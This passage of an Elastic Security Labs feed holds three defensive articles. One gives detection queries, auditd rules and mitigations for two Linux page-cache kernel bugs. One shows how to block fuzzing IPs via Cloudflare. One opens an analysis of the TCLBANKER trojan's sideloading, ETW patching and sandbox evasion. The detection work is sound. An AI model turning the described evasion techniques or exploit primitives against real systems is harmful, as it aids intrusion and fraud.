    (event.category == &quot;process&quot; AND auditd.data.syscall == &quot;socket&quot; AND auditd.data.a0 IN (&quot;26&quot;, &quot;21&quot;)) OR
    (event.category == &quot;process&quot; AND auditd.data.syscall == &quot;splice&quot;) OR
    (event.category == &quot;network&quot; AND event.action == &quot;bound-socket&quot; AND auditd.data.socket.family == &quot;38&quot;)
  )
| EVAL
    is_af_alg   = CASE(auditd.data.syscall == &quot;socket&quot; AND auditd.data.a0 == &quot;26&quot;, 1, 0),
    is_af_rxrpc = CASE(auditd.data.syscall == &quot;socket&quot; AND auditd.data.a0 == &quot;21&quot;, 1, 0),
    is_splice   = CASE(auditd.data.syscall == &quot;splice&quot;, 1, 0),
    is_bind_alg = CASE(event.action == &quot;bound-socket&quot; AND auditd.data.socket.family == &quot;38&quot;, 1, 0)
| STATS
    socket_af_alg   = SUM(is_af_alg),
    socket_af_rxrpc = SUM(is_af_rxrpc),
    splice_count    = SUM(is_splice),
    bind_af_alg     = SUM(is_bind_alg),
    total_calls     = COUNT(*),
    first_seen      = MIN(@timestamp),
    last_seen        = MAX(@timestamp)
  BY host.name, user.name, process.executable, process.pid
| EVAL
    duration_seconds = DATE_DIFF(&quot;seconds&quot;, first_seen, last_seen),
    distinct_syscalls = CASE(
      socket_af_alg &gt; 0 AND splice_count &gt; 0 AND bind_af_alg &gt; 0, &quot;af_alg+splice+bind&quot;,
      socket_af_alg &gt; 0 AND splice_count &gt; 0, &quot;af_alg+splice&quot;,
      socket_af_rxrpc &gt; 0 AND splice_count &gt; 0, &quot;af_rxrpc+splice&quot;,
      socket_af_alg &gt; 0, &quot;af_alg_only&quot;,
      socket_af_rxrpc &gt; 0, &quot;af_rxrpc_only&quot;,
      splice_count &gt; 0, &quot;splice_only&quot;,
      &quot;other&quot;
    )
| WHERE total_calls &gt;= 10 AND
  (socket_af_alg &gt; 0 OR socket_af_rxrpc &gt; 0) AND
  splice_count &gt; 0
| SORT total_calls DESC
| LIMIT 50

</code></pre>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/copy-fail-dirtyfrag-linux-page-bugs-in-the-wild/image3.png" alt="" /></p>
<h3>Auditd rules:</h3>
<p>The following rules can be added to your <a href="https://www.elastic.co/fr/docs/reference/integrations/auditd_manager">Auditd</a> integration config to enable visibility on these exploit primitives:</p>
<pre><code>-a always,exit -F arch=b64 -S socket -k socket_syscall
-a always,exit -F arch=b32 -S socketcall -k socket_syscall
-a always,exit -F arch=b64 -S splice -k splice-syscall
-a always,exit -F arch=b32 -S splice -k splice-syscall
-a always,exit -F arch=b64 -S bind -k socket_bound
-a always,exit -F arch=b32 -S bind -k socket_bound
</code></pre>
<h3>Detection rules  :</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/ef78eb503dba59b19710cedffd3d1697185abbb4/rules/linux/privilege_escalation_potential_copy_fail_cve_2026_31431_exploitation_via_af_alg_socket.toml">Potential Copy Fail (CVE-2026-31431) Exploitation via AF_ALG Socket</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/ef78eb503dba59b19710cedffd3d1697185abbb4/rules/linux/privilege_escalation_suspicious_suid_binary_execution.toml">Suspicious SUID Binary Execution</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/ebe2a089b8806989e77531adde70314958851648/rules/linux/defense_evasion_sysctl_kernel_feature_activity.toml#L79">Suspicious Kernel Feature Activity rule</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/ef78eb503dba59b19710cedffd3d1697185abbb4/rules/linux/privilege_escalation_unshare_namespace_manipulation.toml">Namespace Manipulation Using Unshare</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/ef78eb503dba59b19710cedffd3d1697185abbb4/rules/linux/privilege_escalation_potential_suid_sgid_exploitation.toml">Privilege Escalation via SUID/SGID</a></li>
</ul>
<h2>Mitigation</h2>
<p>Detection should be paired with hardening and patching. The primary remediation for both vulnerabilities is to update the Linux kernel once distribution patches are available.</p>
<p>Where immediate patching is not possible, targeted module blocking can reduce the attack surface. For Copy Fail, disabling the <code>algif_aead</code> module prevents the AF_ALG AEAD path used by the exploit:</p>
<pre><code>echo &quot;install algif_aead /bin/false&quot; &gt; /etc/modprobe.d/copyfail.conf
rmmod algif_aead 2&gt;/dev/null
</code></pre>
<p>For DirtyFrag, disabling the affected networking modules blocks both the ESP and RxRPC exploit paths:</p>
<pre><code>printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' &gt; /etc/modprobe.d/dirtyfrag.conf
rmmod esp4 esp6 rxrpc 2&gt;/dev/null
</code></pre>
<p>After applying either mitigation, dropping the page cache ensures any previously corrupted in-memory pages are discarded:</p>
<pre><code>echo 3 &gt; /proc/sys/vm/drop_caches
</code></pre>
<p>These mitigations should be tested in a staging environment before production deployment, as disabling kernel modules may impact IPsec VPNs, crypto applications, or other services depending on the affected subsystems. Dropping the page cache causes a brief I/O spike and should be avoided during peak load.</p>
<p>Restricting unprivileged user namespace creation also hardens against DirtyFrag and similar exploits:</p>
<pre><code>sysctl -w kernel.unprivileged_userns_clone=0
</code></pre>
<p>On RHEL/Fedora, use <code>user.max_user_namespaces=0</code> instead. This setting may affect applications that rely on unprivileged namespaces such as certain container runtimes and browser sandboxes. Evaluate compatibility before applying.</p>
<h2>References :</h2>
<ul>
<li><a href="https://copy.fail/">https://copy.fail/</a></li>
<li><a href="https://xint.io/blog/copy-fail-linux-distributions">https://xint.io/blog/copy-fail-linux-distributions</a></li>
<li><a href="https://github.com/V4bel/dirtyfrag/tree/master">https://github.com/V4bel/dirtyfrag/tree/master</a></li>
<li><a href="https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo/">https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo/</a></li>
<li><a href="https://access.redhat.com/security/vulnerabilities/RHSB-2026-003">https://access.redhat.com/security/vulnerabilities/RHSB-2026-003</a></li>
<li><a href="https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available">https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available</a></li>
<li><a href="https://aws.amazon.com/security/security-bulletins/rss/2026-027-aws/">https://aws.amazon.com/security/security-bulletins/rss/2026-027-aws/</a></li>
<li><a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d">https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d</a></li>
</ul>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/copy-fail-dirtyfrag-linux-page-bugs-in-the-wild/copy-fail-dirtyfrag-linux-page-bugs-in-the-wild.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Detecting Web Server Probing & Fuzzing in Traefik with Automated Cloudflare Response]]></title>
            <link>https://www.elastic.co/fr/security-labs/detecting-web-server-probing-and-fuzzing</link>
            <guid>detecting-web-server-probing-and-fuzzing</guid>
            <pubDate>Fri, 08 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[This article shows how a customized Elastic Security ES|QL detection rule can identify web server probing and fuzzing activity in Traefik logs and automatically block the attacking IP via Cloudflare.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Self-hosted services exposed through a reverse proxy inevitably attract automated scanners probing for misconfigurations, admin panels, and vulnerable endpoints. In this article, I show how to turn routine <a href="https://traefik.io/traefik">Traefik</a> access logs into an active defensive control using Elastic Security and Cloudflare.</p>
<p>I use an out-of-the-box <a href="https://www.elastic.co/fr/docs/explore-analyze/discover/try-esql">ES|QL</a> detection rule to identify <a href="https://elastic.github.io/detection-rules-explorer/rules/8383a8d0-008b-47a5-94e5-496629dc3590">web server discovery and fuzzing behavior</a>. When suspicious probing patterns are detected, an automated workflow immediately blocks the offending source IP at the edge via the Cloudflare API. The best part about this setup is that it scales effortlessly. By building this response plumbing once for fuzzing detection, I can attach the exact same block action to any other Elastic rule such as those catching SQL injections or file inclusion attempts. This transforms a basic logging pipeline into a highly adaptable perimeter defense.</p>
<h2>Background and the threat landscape</h2>
<p>My homelab setup utilizes Proxmox VE for containers and VMs. I use a Traefik reverse proxy, secured with <a href="https://www.authelia.com/">Authelia</a> for authentication, to allow external access without a VPN. Cloudflare, with proxy enabled, manages DNS.</p>
<p>For those less familiar with this specific stack, Traefik acts as the network's front door. When a web request arrives via Cloudflare, Traefik dynamically routes the traffic to the correct internal container while managing SSL certificates to keep the connections encrypted. However, before any traffic actually reaches those backend applications, it gets intercepted by Authelia. By leveraging Traefik's forward authentication feature, Authelia enforces Single Sign-On and Multi-Factor Authentication across the board. This means automated scanners and attackers cannot even reach the login screens of my internal services without passing through that initial secure portal.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/detecting-web-server-probing-and-fuzzing/image1.png" alt="Network diagram" title="Network diagram" /></p>
<p>To maintain visibility and security, I ingest these Traefik access logs into Elastic using the official integration. During routine monitoring, I've observed numerous HTTP 404 response codes originating from the same source IP addresses in these logs.</p>
<p>This pattern suggests potential web server probing or fuzzing traffic targeting vulnerabilities in applications that are not actually in use on my network. Examples of these targeted paths include <code>/wp-includes/mani.</code>, <code>/wp-content/plugins/all-in-one-wp-security-and-firewall/templates.php</code>, <code>/archive.php</code>, and <code>/wp-admin/includes/header.php</code>.</p>
<h3>Design philosophy: why not Fail2Ban?</h3>
<p>A common question in the homelab community is why not simply use local tools like <a href="https://github.com/fail2ban/fail2ban">Fail2Ban</a> or <a href="https://www.crowdsec.net/">CrowdSec</a> directly on the Traefik server. While those are excellent tools, orchestrating the response through Elastic Security and pushing the block to Cloudflare provides two major advantages. Dropping malicious traffic at the Cloudflare edge saves local bandwidth and keeps scanners off the home network entirely. Plus, orchestrating the response through Elastic gives us a single pane of glass for all security monitoring.</p>
<h2>Detection strategy and implementation strategy</h2>
<p>To effectively identify malicious reconnaissance, our strategy relies on analyzing the frequency of HTTP response codes at the proxy level. Specifically, we are looking for a high volume of 404 (Not Found) errors generated by a single source IP within a short time window, a classic indicator of directory fuzzing or vulnerability scanning.</p>
<p>While Elastic Security provides robust, out-of-the-box detection rules for this exact scenario, these rules require properly normalized ECS (Elastic Common Schema) data to function correctly. Detecting and mitigating these scans therefore requires a coordinated flow. To get this working, we need to ingest the Traefik logs, patch in the missing <code>host.name</code> field using a custom pipeline, and point the detection rule at our data.</p>
<h3>Threshold logic and tuning</h3>
<p>Our detection strategy shifts away from simple string matching, relying instead on statistical thresholds. The rule specifically monitors for denied or non-existent resources represented by HTTP 403 and 404 response codes and aggregates this activity by the originating source IP.</p>
<p>This behavior is governed by the final <code>where</code> statement in the query. By default, an alert only triggers if a source IP produces more than 500 errors across 250 distinct URI paths during the polling window. This dual-layered threshold is designed to eliminate false positives, ensuring that a single broken asset doesn't trigger a block while still identifying automated scripts that cycle through directory wordlists.</p>
<p>In a smaller homelab or smaller teams environment, these defaults are often too permissive. Since legitimate external traffic has no reason to hit non-existent admin panels on my network, I adjusted the sensitivity to catch stealthier reconnaissance efforts early. I modified the logic to trigger when <code>event_count &gt; 100</code> and <code>url_original_count_distinct &gt; 50</code>.</p>
<p>For production environments where applications naturally generate higher error volumes, you might consider increasing these values or appending an ES|QL <code>where not</code> clause to exclude known broken links. Finally, I use a <code>where source.ip not in (...)</code> filter to ensure that authorized security tools or personal vulnerability scanners are not accidentally banned by the automated workflow.</p>
<h3>Ingesting Traefik access logs</h3>
<p>To ingest the Traefik access logs into the cluster, I used the default <a href="https://www.elastic.co/fr/docs/reference/integrations/traefik">integration for Traefik</a>. The Elastic Agent collects logs from Traefik servers. This integration writes the ingested logs into the <code>logs-traefik.access-default</code> datastream.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/detecting-web-server-probing-and-fuzzing/image5.png" alt="" /></p>
<h3>Building a custom ingest pipeline</h3>
<p>The <code>host.name</code> field is crucial for the detection rule I'm using, but the default Traefik integration doesn't populate it. Therefore, a custom ingest pipeline is required to add this field. Since the Traefik integration utilizes a file stream on the Traefik server, I can copy the value from the existing <code>agent.name</code> field to populate <code>host.name</code>.</p>
<p>I specifically use the <code>logs-traefik.access@custom</code> pipeline instead of modifying the main one. Elastic integrations are designed to automatically pick up and run these <code>@custom</code> pipelines right at the end of their processing flow. More importantly, default pipelines get completely overwritten whenever I upgrade an integration. Stashing my logic in the custom pipeline ensures that my field mappings actually survive the next update. The necessary API call to create this pipeline can be executed in the Dev Tools console:</p>
<pre><code class="language-json">PUT _ingest/pipeline/logs-traefik.access@custom
{
  &quot;description&quot;: &quot;copy the agent.name field to the host.name field&quot;,
  &quot;processors&quot;: [
    {
      &quot;set&quot;: {
        &quot;field&quot;: &quot;host.name&quot;,
        &quot;value&quot;: &quot;{{{agent.name}}}&quot;,
        &quot;override&quot;: false,
        &quot;ignore_empty_value&quot;: true,
        &quot;ignore_failure&quot;: true
      }
    }
  ]
}
</code></pre>
<h2>Automated response via Cloudflare workflow</h2>
<p>To move from detection to active defense, we implement a workflow that bridges the gap between our Elastic alerts and the Cloudflare edge. The logic is designed to be efficient: rather than creating a new firewall rule for every single alert, which would quickly hit Cloudflare’s rule limits, the workflow first retrieves the existing blocklist. It then dynamically appends the new offending source IP to that list before pushing the update back to the Cloudflare API. Once the edge is secured, the workflow finishes by acknowledging the alert in Elastic, effectively closing the loop on the incident.</p>
<h3>Prerequisites and token scope</h3>
<p>This process requires both an API key and the Zone ID for the Cloudflare configuration. The API token must possess &quot;Zone WAF edit&quot; privileges to enable the creation of the rule. When generating this token in the Cloudflare dashboard, use the &quot;Create Custom Token&quot; option and set the permissions strictly to <code>Zone -&gt; Zone WAF -&gt; Edit</code><strong>.</strong></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/detecting-web-server-probing-and-fuzzing/image3.png" alt="" /></p>
<p>Once the workflow is configured, it must be assigned as an action to the &quot;Web Server Discovery or Fuzzing Activity&quot; detection rule.</p>
<p>With the prerequisites in place, let's walk through how we build the workflow step-by-step.</p>
<h3>Workflow configuration and triggers</h3>
<p>First, we define the basic metadata. This workflow blocks the IP addresses found in the alerts of the Web Server Discovery or Fuzzing Activity. The workflow is enabled and has a timeout of 30 seconds for the API request. In this case, it's based on an alert, so it runs automatically when a security alert is triggered.</p>
<pre><code># =========================================================================
# Workflow: Block IP at Cloudflare test
# Category: security/response
# =========================================================================
version: '1'
name: Block IP at Cloudflare
enabled: true

triggers:
  - type: alert
</code></pre>
<h3>Constants and authentication</h3>
<p>This section holds the variables for authentication. Remember to substitute the placeholder strings with your actual API token and Zone ID.</p>
<pre><code>consts:
  cloudflare_api: &quot;&lt;cloudflare API&gt;&quot;
  cloudflare_zone: &quot;&lt;cloudflare ZONE&gt;&quot;
</code></pre>
<h3>Step 1: Retrieving the current blocklist</h3>
<p>The sequence checks if the firewall rule already exists. The workflow makes an HTTP GET request to retrieve the existing IP block rule.</p>
<pre><code>steps:
  - name: cloudflare_current_block
    type: http
    with:
      url: &quot;https://api.cloudflare.com/client/v4/zones/{{consts.cloudflare_zone}}/rulesets/phases/http_request_firewall_custom/entrypoint&quot;
      headers:
        Authorization: Bearer {{consts.cloudflare_api}}
      method: GET
    on-failure:
      continue: true
</code></pre>
<h3>Step 2: Updating or creating the firewall rule</h3>
<p>If it exists, the rule gets appended with the IP address otherwise, the rule gets created. The workflow identifies if the &quot;webserver scanning block&quot; description is present. If so, it appends the new IP address to the current list of blocked IP addresses via a PUT request. If not, it falls back to creating a new rule.</p>
<pre><code> - name: cloudflare_block
    type: if
    condition: 'steps.cloudflare_current_block.output.data.result.rules[0].description == &quot;webserver scanning block&quot;'
    steps:
      - name: ip-block-cloudflare_add
        type: http
        with:
          url: &quot;https://api.cloudflare.com/client/v4/zones/{{consts.cloudflare_zone}}/rulesets/phases/http_request_firewall_custom/entrypoint&quot;
          method: PUT
          headers:
            Authorization: Bearer {{consts.cloudflare_api}}
          timeout: 30s
          body: '{ &quot;rules&quot;: [ { &quot;description&quot;: &quot;webserver scanning block&quot;, &quot;expression&quot;: &quot;{{steps.cloudflare_current_block.output.data.result.rules[0].expression}} or (ip.src eq {{event.alerts[0].source.ip}})&quot;, &quot;action&quot;: &quot;block&quot; } ]}'
    else:
      - name: ip-block-cloudflare_new
        type: http
        with:
          url: &quot;https://api.cloudflare.com/client/v4/zones/{{consts.cloudflare_zone}}/rulesets/phases/http_request_firewall_custom/entrypoint&quot;
          method: PUT
          headers:
            Authorization: Bearer {{consts.cloudflare_api}}
          timeout: 30s
          body: '{ &quot;rules&quot;:[ { &quot;description&quot;: &quot;webserver scanning block&quot;, &quot;expression&quot;: &quot;(ip.src eq {{event.alerts[0].source.ip}})&quot;, &quot;action&quot;: &quot;block&quot; } ]}'
    on-failure:
      continue: true
</code></pre>
<h3>Step 3: Acknowledging the alert</h3>
<p>Then the alert gets acknowledged. This step uses the <code>kibana.SetAlertsStatus</code> action to automatically close out the alert in Elastic Security.</p>
<pre><code>  - name: update_alert_status
    type: kibana.SetAlertsStatus
    with:
      status: &quot;acknowledged&quot;
      signal_ids: [&quot;{{event.alerts[0]._id}}&quot;]
</code></pre>
<h3>Step 4: Attaching the Workflow to the Rule</h3>
<p>With the workflow fully built, the final step is to actually attach it to the detection rule so it fires automatically. In the Elastic Security rule settings for the &quot;Web Server Discovery or Fuzzing Activity&quot; rule, I navigate to the <strong>Rule actions</strong> tab and add a new action. From the connector dropdown, I simply select the Cloudflare workflow I just created.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/detecting-web-server-probing-and-fuzzing/image2.png" alt="" /></p>
<h3>Note on WAF limits</h3>
<p>Because this workflow concatenates IP addresses using an <code>or</code> statement (<code>or (ip.src eq &lt;IP&gt;)</code>), be mindful that Cloudflare has a character limit for custom WAF expressions (typically 4096 characters on standard tiers). In highly targeted environments, this string can eventually hit the limit. For homelabs and small teams, occasionally clearing out this WAF rule manually serves as a healthy reset.</p>
<h2>Testing and Validation</h2>
<p>To verify the pipeline is working end-to-end, we can generate some noise with a standard fuzzing tool. You can simulate a scanning attack against your own homelab using a fuzzing tool like <code>ffuf</code> or <code>gobuster</code>.</p>
<p>Run a quick scan against a non-existent directory on your public-facing Traefik domain:</p>
<pre><code class="language-shell">ffuf -u https://your-domain.com/FUZZ -w /path/to/wordlist.txt
</code></pre>
<p>Once the simulation is running, we can observe the automated defense chain in action. The 404 errors appear almost immediately in the <code>logs-traefik.access-default</code> datastream. Within the polling interval, the ES|QL rule identifies the pattern and generates a new alert in the Elastic Security Alerts page. From there, the workflow takes over: it shifts the alert status to &quot;acknowledged&quot; and pushes the IP block to our Cloudflare WAF rule, effectively neutralizing the scanner at the edge before it can continue its reconnaissance.</p>
<p>You can confirm the block was successful by checking your Cloudflare Dashboard under <code>Security -&gt; WAF -&gt; Custom rules</code>. <em>(Note: Be sure to remove your IP from the Cloudflare rule afterwards so you don't lock yourself out!)</em></p>
<h3>Expanding the defense</h3>
<p>The beauty of this setup is that our Cloudflare workflow isn't limited to just fuzzing detection. Once the automation is built, we can attach it to any Elastic rule that flags suspicious proxy traffic. For instance, we can tie this exact same response action to out-of-the-box rules targeting specific application exploits, like <a href="https://elastic.github.io/detection-rules-explorer/rules/90e4ceab-79a5-4f8e-879b-513cac7fcad9">Web Server Local File Inclusion Activity</a>, <a href="https://elastic.github.io/detection-rules-explorer/rules/45d099b4-a12e-4913-951c-0129f73efb41">Web Server Potential Remote File Inclusion Activity</a> to drop the attacker immediately. It also pairs perfectly with <a href="https://elastic.github.io/detection-rules-explorer/rules/6631a759-4559-4c33-a392-13f146c8bcc4">Potential Spike in Web Server Error Logs</a> and <a href="https://elastic.github.io/detection-rules-explorer/rules/a1b7ffa4-bf80-4bf1-86ad-c3f4dc718b35">Unusual Web User Agent</a> to catch misconfigured scrapers and broader network noise. We build the plumbing once, and suddenly the whole perimeter gets smarter.</p>
<h3>Conclusion</h3>
<p>Wiring Traefik and Cloudflare into Elastic Security is a great way to turn basic access logs into an active defense. Homelab environments are constantly bombarded by automated scanners looking for low-hanging fruit. This automated workflow not only blocks attackers at the edge but also reduces alert fatigue by acknowledging the incidents automatically. It is a practical example of how security orchestration and response can save time while significantly improving your security posture.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/detecting-web-server-probing-and-fuzzing/detecting-web-server-probing-and-fuzzing.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[TCLBANKER: Brazilian Banking Trojan Spreading via WhatsApp and Outlook]]></title>
            <link>https://www.elastic.co/fr/security-labs/tclbanker-brazilian-banking-trojan</link>
            <guid>tclbanker-brazilian-banking-trojan</guid>
            <pubDate>Thu, 07 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[REF3076 uses a trojanized Logitech installer to deploy TCLBANKER, a Brazilian banking trojan with environment-gated payloads, WPF fraud overlays, and self-propagating WhatsApp and Outlook worm modules.]]></description>
            <content:encoded><![CDATA[<p>Elastic Security Labs identified a new Brazilian banking trojan that we are tracking as TCLBANKER, a malware family we assess is a major update of the <a href="https://securelist.com/maverick-banker-distributing-via-whatsapp/117715/">MAVERICK</a>/<a href="https://www.trendmicro.com/en_us/research/25/j/self-propagating-malware-spreads-via-whatsapp.html">SORVEPOTEL</a> family. The campaign, tracked as REF3076, features a loader with robust anti-analysis capabilities that deploys two embedded .NET Reactor-protected modules: a full-featured banking trojan and a worm module for self-propagation.</p>
<p>The banking trojan monitors the victim's browser address bar via UI Automation, targeting 59 Brazilian banking, fintech, and cryptocurrency domains. Beyond the usual remote access commands, its most notable capability is a WPF-based full-screen overlay framework designed for operator-driven social engineering.</p>
<p>A second module handles distribution through spam agents, of which we recovered two variants: a WhatsApp worm that hijacks authenticated browser sessions to message the victim's contacts, and an Outlook email bot that sends phishing emails through the victim's own accounts via COM automation.</p>
<p>Through this report, we provide a detailed technical breakdown of each stage.</p>
<h2>Key takeaways</h2>
<ul>
<li>TCLBANKER uses environment-gated payload decryption; incorrect environments, such as sandboxes, silently fail to decrypt the payload</li>
<li>A comprehensive watchdog subsystem continuously monitors for analysis tools, debuggers, instrumentation frameworks, and integrity violations throughout execution</li>
<li>The banking trojan targets 59 Brazilian banking, fintech, and cryptocurrency domains, activating a WebSocket C2 session when a victim navigates to a monitored site</li>
<li>A WPF-based full-screen overlay framework enables operator-driven social engineering, including credential harvesting, vishing wait screens, and fake Windows Update stalls, while hiding overlays from screen capture tools</li>
<li>Worm modules propagate the malware: a WhatsApp bot and an Outlook email bot</li>
<li>All C2 and distribution infrastructure is hosted on Cloudflare Workers under a single account, with developer artifacts (debug logging paths, test process names) and an incomplete phishing page, suggesting the campaign was identified in an early operational stage</li>
</ul>
<h2>Delivery</h2>
<p>TCLBANKER is a Brazilian banking trojan that contains a dynamic infection chain with a heavy anti-analysis loading component that can deploy two embedded payloads (worm, banker). The observed infection chain bundles a malicious MSI installer inside a ZIP file. These MSI installer packages are abusing a signed Logitech program called <a href="https://www.logitech.com/en-us/software/logi-ai-prompt-builder">Logi AI Prompt Builder</a>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image13.png" alt="MSI install dialog" title="MSI install dialog" /></p>
<p>TCLBANKER abuses DLL sideloading against <code>LogiAiPromptBuilder.exe</code>, a legitimate Logitech application built on the <a href="https://flutter.dev/">Flutter</a> framework. The malicious DLL <code>screen_retriever_plugin.dll</code> masquerades as a legitimate Flutter plugin of the same name and is loaded automatically when the host application starts.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image32.png" alt="File directory contents showing a malicious DLL" title="File directory contents showing a malicious DLL" /></p>
<p>After the MSI installation, the malicious DLL is immediately loaded and starts at the DllMain entry point.</p>
<h2>Loader</h2>
<p>The loader component for TCLBANKER is packed with features, including anti-debugging features, anti-analysis checks, string encryption, system language checks, ETW patching, and a watchdog capability. While it has many features, it lacks depth and has references to older malware analysis tooling. It’s not entirely clear whether the developer used LLM-assisted workflows, but our team wouldn’t be surprised if that were the case.</p>
<p>At the beginning of the execution, TCLBANKER aligns the corresponding .NET assembly payloads based on whether the string (<code>--renderer=sw</code>) is used in the command-line. Within its main loader function, it first performs allow-list/blocklist operations based on how the DLL was loaded. The malicious DLL will only execute if the host process comes from the following two processes:</p>
<ul>
<li><code>logiaipromptbuilder.exe</code></li>
<li><code>tclloader.exe</code> (Possible reference to developer string during testing)</li>
</ul>
<p>If the DLL was loaded by the following processes, it will refuse to run. These processes are traditionally used by analysts to load and debug DLLs.</p>
<ul>
<li><code>rundll32.exe</code></li>
<li><code>regsvr32.exe</code></li>
<li><code>dllhost.exe</code></li>
<li><code>svchost.exe</code></li>
</ul>
<p>Next, TCLBBANKER removes any user-mode hooking by replacing <code>ntdll.dll</code> from disk. For more evasion, the malware generates the following syscall trampolines used later:</p>
<ul>
<li><code>NtQueryInformationProcess</code></li>
<li><code>NtSetInformationThread</code></li>
<li><code>NtSetInformationProcess</code></li>
<li><code>NtTerminateProcess</code></li>
<li><code>NtAllocateVirtualMemory</code></li>
<li><code>NtProtectVirtualMemory</code></li>
</ul>
<p>After installing syscall stubs, the malware patches <code>EtwEventWrite</code> in <code>ntdll.dll</code> with the classic <code>xor eax, eax; ret</code> to disable user-mode ETW telemetry.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image33.png" alt="Patching via EtwEventWrite" title="Patching via EtwEventWrite" /></p>
<p>TCLBANKER performs an initial sandbox check by capturing a start tick using <code>GetTickCount64()</code>, sleeping for 500 ms, and measuring the elapsed time. If fewer than 450 ms have actually passed, the malware bails — this detects sandboxes or emulation frameworks that hook Sleep to return immediately..</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image9.png" alt="Sandbox check" title="Sandbox check" /></p>
<p>One of the more interesting features of TCLBANKER is an enumeration function that generates three  fingerprints based on the following criteria:</p>
<ul>
<li>Anti-debugging checks</li>
<li>System disk information and memory checks</li>
<li>Language checks</li>
</ul>
<p>The developer uses magic constants assigned to “clean” paths for each category, then performs an XOR against each one to generate the environment hash. This environment hash value is significant because it affects downstream decryption of the embedded payload.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image4.png" alt="Environmental hashing function" title="Environmental hashing function" /></p>
<p>For example, if a debugger is present, it will produce an incorrect hash, so when the malware attempts to derive the decryption keys from the hash, the payload will not decrypt correctly, and TCLBANKER will stop executing.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image19.png" alt="Decryption derivation function using gated hash value" title="Decryption derivation function using gated hash value" /></p>
<h2>Anti-debugging checks</h2>
<p>TCLBANKER implements six different anti-debugging checks:</p>
<ul>
<li>Identify the debugger through the <code>Peb-&gt;BeingDebugged</code> flag</li>
<li>Checks heap-tail/heap-free/check-heap flags set when a process is launched under a debugger</li>
<li>Leverages <code>NtQueryInformationProcess()</code> using <code>ProcessDebugPort</code></li>
<li>Uses <code>NtQueryInformationProcess()</code> using <code>ProcessDebugObjectHandle</code></li>
<li>Hardware breakpoint detection via the debug registers (<code>DR0-DR3</code>)</li>
<li>Measures the elapsed time using <code>QueryPerformanceCounter()</code> deltas and <code>RDTSC</code> cycle counts</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image30.png" alt="Anti-debugging checks with calculation" title="Anti-debugging checks with calculation" /></p>
<h2>System information checks</h2>
<p>TCLBANKER has the following five different checks based on virtualization, system, and user information:</p>
<ul>
<li>Checks for virtualization software using vendor signature</li>
</ul>
<table>
<thead>
<tr>
<th align="center">Hypervisor</th>
<th align="center">Vendor signature</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center">VMware</td>
<td align="center">VMwareVMware</td>
</tr>
<tr>
<td align="center">VirtualBox</td>
<td align="center">VBoxVBoxVBox</td>
</tr>
<tr>
<td align="center">KVM</td>
<td align="center">KVMKVMKVM</td>
</tr>
<tr>
<td align="center">Xen</td>
<td align="center">XenVMMXenVMM</td>
</tr>
<tr>
<td align="center">Parallels</td>
<td align="center">prl hyperv</td>
</tr>
<tr>
<td align="center">QEMU/TCG</td>
<td align="center">TCGTCGTCGTCG</td>
</tr>
</tbody>
</table>
<ul>
<li>Verify the root system drive (<code>C:\\</code>) via <code>GetDiskFreeSpaceExW()</code> has at least 64 GB</li>
<li>Calls <code>GlobalMemoryStatusEx()</code> to verify the system has more than 2 GB of RAM</li>
<li>Checks for 2 or CPU processors via <code>GetSystemInfo()</code></li>
<li>Checks for generic sandbox/malware usernames
<ul>
<li><code>sandbox</code>, <code>malware</code>, <code>virus</code>, <code>sample</code>, <code>john doe</code>, <code>currentuser</code></li>
</ul>
</li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image28.png" alt="System enumeration checks" title="System enumeration checks" /></p>
<h2>Language checks</h2>
<p>For the last environment fingerprint check, TCLBANKER retrieves geographical information of the infected machine using <code>GetUserGeoID()</code>, targeting Brazilian users based on the geographical ID (<code>0x20</code>). A second locale check via <code>GetUserDefaultLCID()</code> also ensures the user's default language is Brazilian Portuguese (pt-BR, LANGID 0x0416).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image11.png" alt="Language check targeting Brazilian users" title="Language check targeting Brazilian users" /></p>
